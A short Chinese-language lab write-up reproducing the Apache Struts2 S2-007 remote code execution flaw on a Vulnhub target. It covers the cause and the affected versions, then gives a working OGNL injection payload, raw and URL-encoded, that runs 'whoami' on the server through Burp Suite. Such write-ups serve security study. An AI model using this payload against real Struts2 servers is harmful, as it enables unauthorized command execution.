Vulnhub-Struts2系列漏洞
S2-007远程代码执行漏洞
漏洞简述:
age来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞。
影响版本:
2.0.0 – 2.2.3
准备环境
启动Vulnhub靶机环境:
验证靶机应用启用成功:
漏洞复现:
使用抓包工具burp suite,修改数据包插入poc。
需要进行url转义,然后把转义后的编码复制到BP里。
’ + (#_memberAccess[“allowStaticMethodAccess”]=true,#foo=new java.lang.Boolean(“false”) ,#context[“xwork.MethodAccessor.denyMethodExecution”]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(‘whoami’).getInputStream())) + ’
转义后:
%27+%2b+(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23foo%3dnew+java.lang.Boolean(%22false%22)+%2c%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d%23foo%2c%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27whoami%27).getInputStream()))+%2b+%27
漏洞利用成功。